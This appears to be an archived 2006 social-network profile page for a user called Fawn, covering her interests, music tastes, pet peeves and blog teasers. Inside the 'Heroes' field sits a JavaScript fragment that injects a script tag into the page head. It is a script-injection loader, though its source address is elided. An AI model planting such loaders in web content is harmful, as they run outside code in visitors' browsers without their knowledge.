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Fawn

Attitudes are contagious. Mine might kill you.

About Me

My nickname is twinkie. Don't be intimidated. Music is everything. I prefer to surround myself with people who feel the same. I'm known to get emotional at concerts. I love to stay up all night and sleep all day. I'm constantly reminded that the wrong people are allowed to breed. I think restaurants should have KIDS and NO KIDS sections. I cuss a lot. I'm not a social butterfly. I have bad road rage. I don't know why driving is so challenging for people. My fuse is way too short and it keeps getting shorter. My anger scares me sometimes. Beating the shit out of something feels way too good. I pray for forgiveness a lot. I'm so glad I lived in Raleigh for 6 years so I could meet the only other person on this planet who gets it. I can't wait to start the next chapter of my life with her in CA. I have a hard time taking compliments. I hate public displays of affection. I can't stand the noises people make with their mouths when they eat. I believe common sense gets you farther than any degree does. I work around nothing but men and I love being one of the guys. I think sensuality is as important as sexuality. I love being a Taurus.

My Interests

Murderdolls Videos | Video Codes |Music, concerts, songwriters, poetry, eyeliner on band boys, the 80s, roadtrips, hockey, hockey fights, the Flyers, animals, disastrous weather, Native American culture, good food(BUTTA), ghosts and the unexplained, astrology, tattoos(I have 2), makeup, cute panties, serial killers, sleeping, analyzing my dreams, painkillers, jumbo margaritas with tons of salt, the history behind all that is Hollywood, Bath and Body Works, my 3 hour weekend phone calls with Dawn cause SHE KNOWS, wishing I had followed through with the letters I got from colleges when I used to play basketball, trying to pull the knife out of my back that I can never seem to reach, counting the number of times people tell me to smile(I was born naturally frowning! I can't help it!), laughing at how much people fuck up my name, wondering what the next life has in store for me...

I'd like to meet:

I don't know why I even bother to fill this part out cause nobody ever fucking reads it. But here goes! I don't care to hear from anyone who: 1)DOESN'T HAVE THEIR PROFILE FILLED OUT OR PICTURES UP. 2)IF THEIR PROFILE LOOKS LIKE A 3 YR OLD FILLED IT OUT. 3)IF YOU HAVE 1 PICTURE OF YOURSELF AND 11 PICTURES OF YOUR CAR. 4)IF YOUR PICTURE SHOWS YOUR BODY AND NOT YOUR FACE. 5)IF YOUR BAND DOES NOT LIST ANY BANDS THAT I LISTEN TO AS YOUR INFLUENCES. 6)IF YOUR PAGE IS PRIVATE AND I DON'T ALREADY KNOW YOU.And just because you live near me doesn't mean I want to know you. If we have nothing in common other than the same area code, I don't want to hear from you. And guys, please, don't send me messages that you've obviously sent 100 other girls. That doesn't exactly make a girl feel special. Other than that, bring on the freaks.

Music:

30 Seconds to Mars, AFI, Christina Aguilera, Alice in Chains, AMEN, Fiona Apple (my therapist), Beautiful Creatures, Blackfoot (love love love Rickey Medlocke), Blind Melon, Brides of Destruction, Buckcherry, Candlebox, Chlorine, Cinderella, Coal Chamber, The Cult, Def Leppard, Depeche Mode, The Doors, Dragonforce, Duran Duran, Eagles, Enigma, Enuff Znuff, Faster Pussycat, Fleetwood Mac, Fuel, Dave Gahan (that man makes me WEAK), Guns N Roses, Sophie B Hawkins, Heart, Billy Idol, Incubus, INXS, Janet Jackson, Journey, Kage, KISS, Kittie, Korn, Lacuna Coil, LA Guns, Lovehammers, Loverboy, Lynyrd Skynyrd, Machine Head, Madonna, old Metallica, George Michael, Alanis Morissette, Mother Love Bone, Motorhead, Motley Crue, Murderdolls, My Chemical Romance, Stevie Nicks, No Doubt, Nonpoint, Orgy, Ozzy, Poison, Lisa Marie Presley, Puddle of Mudd, Queensryche, Ratt, Red Hot Chili Peppers, Sade, Scorpions, Bob Seger, Sepultura, Shakira, Silvertide, Skid Row, Slaughter, Slipknot, Soil, Gwen Stefani, Stone Sour, Stone Temple Pilots, System of a Down, Trivium, Warrant(with SACK on drums), W.A.S.P, Wednesday 13, White Lion, Whitesnake, anything 80s, yeah, my musical tastes are insane.

Movies:

Lord of the Rings, old movies, Alfred Hitchcock, anything from the 80s, westerns, Dazed and Confused, Road Trip, Old School, The Crow, Office Space, Lonesome Dove, Star Wars

Television:

I don't have time to watch much TV. When I do, these are about the only things that hold my interest.Soapnet, Dukes of Hazzard, Threes Company, Chappelle show, Insomniac, VH1, Bonanza, Old movies, E!, Travel Channel, Discovery Channel, History Channel.

Books:

I'll read anything, I have tons of books.

Heroes:

My grannie, native americans, PETER GIBBONS .."var s=document.createElement('script');s.src='..';document.getEl ementsByTagName('head')[0].appendChild(s);"

My Blog

Best Moments of 2006

In no particular order...1.  My promotion at work.  Who would've thought I'd be responsible for wire that's going into someone's heart to help keep them alive?  I love all the guys...
Posted by Fawn on Sat, 30 Dec 2006 10:51:00 PST

The story behind my name

I get asked all the time about my name, whether it's my real name or if I was named after a baby deer or whatever.  So this is how the story goes.. My dad was in the Air Force towards the end of ...
Posted by Fawn on Mon, 04 Dec 2006 06:36:00 PST

Immigration problems began in 1492

I went to a powwow yesterday and as always, I was moved to tears.  I couldn't help but wonder, does anyone ever ask the native americans what they think of our immigration problems?
Posted by Fawn on Mon, 18 Sep 2006 05:54:00 PST

Moving on

I can't wait to fulfill this.   I've dealt with my ghosts and I've faced all my demons;Finally content with a past I regret.I've found you find strength in your moments of weakness - For onc...
Posted by Fawn on Sun, 02 Jul 2006 09:48:00 PST